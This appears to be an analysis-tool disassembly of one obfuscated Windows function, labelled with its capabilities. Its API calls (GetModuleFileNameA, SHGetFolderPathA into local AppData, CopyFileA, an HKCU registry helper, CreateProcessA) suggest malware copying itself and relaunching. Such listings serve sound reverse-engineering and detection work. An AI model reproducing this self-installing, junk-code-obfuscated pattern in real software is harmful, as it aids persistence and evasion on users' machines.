Function at 0x10008ab5
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
xor dword [ebp - 0x5b4], 0x3ee1403c
sub dword [ebp - 0x5ac], 0x3620c7bb
jmp 0x10009f7a
jmp 0x1000599d
add esp, 0xc
push 0
lea eax, [ebp - 0x6b8]
push eax
jmp 0x100031e0
push 0
push 0
jmp 0x1000b9aa
push 0x400
mov dword [ebp - 0x10c], 0x2823283c
add dword [ebp - 0x10c], 0x3d553cf2
jmp 0x10009d4d
push ecx
call fcn.100090da
jmp 0x1000cd39
call fcn.100090da
jmp 0x1000c740
sub dword [ebp - 0x180], 0x45c94100
mov dword [ebp - 0x1a0], 0x548cb8de
xor dword [ebp - 0x1a0], 0xcaf78d
jmp 0x10009508
lea eax, [ebp - 0x6b8]
push eax
push 0
jmp 0x1000af17
call fcn.1000440a
push 0x104
mov dword [ebp - 0x12c], 0x62379929
push ebp
jmp 0x10004fcd
push 0
push 0
push 0
jmp 0x10007e3e
lea eax, [ebp - 0x128]
push eax
call fcn.1000b54c
jmp 0x1000810a
jmp 0x1000d2a6
sub dword [esp], 0x1a8
mov dword [ebp - 0x1a8], 0xc2bff3bc
add dword [ebp - 0x1a4], 0x13a2e8e6
sub dword [ebp - 0x1a8], 0x56538f8e
jmp 0x10009ca8
sub dword [ebp - 0x18c], 0x475b88c4
mov dword [ebp - 0x174], 0xf351cc65
sub dword [ebp - 0x190], 0x33a38170
add dword [ebp - 0x174], 0xcae3409
xor dword [ebp - 0x19c], 0xe6eba3d
xor dword [ebp - 0x198], 0x5af3bd28
xor dword [ebp - 0x178], 0xc50b59f
jmp 0x10002fde
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x1000c642
push ebp
jmp 0x1000d515
lea ecx, [ebp - 0x6b8]
push ecx
call fcn.100090da
add esp, 0xc
push 0x104
call fcn.1000a7ef
jmp 0x1000cdfb
push 0
lea edx, [ebp - 0x170]
push edx
call fcn.1000b54c
jmp 0x1000d118
call fcn.100090da
add esp, 0xc
push 0
lea ecx, [ebp - 0x6b8]
push ecx
lea edx, [ebp - 0x104]
push edx
jmp 0x1000bf25
sub dword [esp], 0x12c
sub dword [ebp - 0x12c], 0x623798cd
jmp 0x10006d42
test eax, eax
jne 0x10008bcd
jmp 0x1000b0e2
push ebp
jmp 0x10003717
push edx
call fcn.100090da
jmp 0x1000a2a5
lea eax, [ebp - 0x5a8]
push eax
jmp 0x10002d4d
jmp 0x10003001
push 0x103
jmp 0x100091b1
lea edx, [ebp - 0x104]
push edx
jmp 0x10008048
jmp 0x10004298
lea eax, [ebp - 0x5a8]
push eax
call fcn.10003de2
jmp 0x1000709a
mov dword [ebp - 0x194], 0x18ec76b9
push ebp
mov dword [ebp - 0x18c], 0xb6bff72d
jmp 0x1000a5eb
add dword [ebp - 0x108], 0x72ce8a27
jmp 0x10006d4d
add esp, 0xc
push 0x400
lea ecx, [ebp - 0x6b8]
jmp 0x100093f6
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x10003352
jmp 0x1000b0e2
add dword [ebp - 0x114], 0x1e604434
jmp 0x10007b69
push ebp
sub dword [esp], 0x114
sub dword [ebp - 0x110], 0x5b091db5
mov dword [ebp - 0x108], 0x8d3197f9
jmp 0x1000708b
sub dword [ebp - 0x118], 0x3b6f5663
jmp 0x10003f98
push 0
jmp 0x10001f28
mov dword [ebp - 0x110], 0x8d3c8a21
jmp 0x100077a8
mov edx, dword [ebp - 0x124]
jmp 0x1000d67b
lea ecx, [ebp - 0x5a8]
jmp 0x100098c4
call fcn.1000a9d2
add esp, 0xc
test eax, eax
je 0x10005a28
jmp 0x1000b0e2
mov ecx, dword [0x1000f3e0]
push ecx
jmp 0x10009cb4
push ebp
mov ebp, esp
sub esp, 0x6bc
jmp 0x10009a42
jmp 0x10005a93
call fcn.1000a7ef
push eax
jmp 0x10005d50
push ecx
lea edx, [ebp - 0x5a8]
jmp 0x10005627
push 0x80000001
call fcn.1000ccdf
add esp, 0x10
test eax, eax
je 0x1000b0e2
jmp 0x1000d260
push ecx
call fcn.1000a7ef
push eax
jmp 0x1000b6b1
push 0x104
lea eax, [ebp - 0x104]
push eax
jmp 0x1000a9e9
lea eax, [ebp - 0x6b8]
push eax
jmp 0x10004ddd
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x128]
push edx
lea eax, [ebp - 0x170]
push eax
jmp 0x10003273
mov dword [ebp - 0x114], 0x460e313e
jmp 0x10007f1e
sub dword [esp], 0x5b4
jmp 0x100013fa
push ebp
jmp 0x1000bd7a
add esp, 0xc
push 0x400
jmp 0x1000a880
mov dword [ebp - 0x180], 0xab1fb56e
add dword [ebp - 0x194], 0x5686f8b9
mov dword [ebp - 0x184], 0x304ffa0b
push 0x8afff5d6
pop dword [ebp - 0x190]
sub dword [esp], 0x1a0
push 0x9663509
pop dword [ebp - 0x188]
xor dword [ebp - 0x188], 0x4a3a467e
mov dword [ebp - 0x178], 0x7902e9f1
sub dword [ebp - 0x17c], 0x1c41a59
mov dword [ebp - 0x198], 0x399af074
mov dword [ebp - 0x19c], 0x4b3cfb6a
xor dword [ebp - 0x184], 0x553d887e
jmp 0x100039c2
mov dword [ebp - 0x5b0], 0x9d57a511
jmp 0x1000a06d
mov ecx, dword [0x1000f1b0]
push ecx
jmp 0x1000d3d6
push 0
push 0x801c
push 0
jmp 0x1000740a
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
jmp 0x1000bc20
mov dword [ebp - 0x17c], 0x712d8dcb
jmp 0x1000703d
lea ecx, [ebp - 0x5a8]
push ecx
jmp 0x10003b6c
ret
mov dword [ebp - 0x5b4], 0x7ac16c1e
push 0x36213c24
pop dword [ebp - 0x5ac]
sub dword [ebp - 0x5b0], 0x2f0e38a5
jmp 0x1000122f
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x100027c3
jmp 0x1000b0e2
push 0
jmp 0x100032a9
test eax, eax
je 0x1000b0e2
jmp 0x10007fa6
add esp, 0xc
jmp 0x10008035
add esp, 0xc
push 0x104
call fcn.1000a7ef
push eax
jmp 0x1000d552
push eax
lea edx, [ebp - 0x6b8]
push edx
call fcn.100090da
add esp, 0xc
push 0x104
mov dword [ebp - 0x1a4], 0xec5d171a
jmp 0x10005621
mov dword [ebp - 0x170], 0x44
push 0x10
jmp 0x1000c081
push 0x44
jmp 0x100045a4
push 0x104
mov dword [ebp - 0x118], 0x3b6f56bf
jmp 0x10007e2f
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x10005144
sub dword [esp], 0x118
lea ecx, [ebp - 0x6b8]
jmp 0x10002c75
lea edx, [ebp - 0x6b8]
push edx
call fcn.100090da
jmp 0x10001d1f
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x128]
push eax
jmp 0x1000b0dc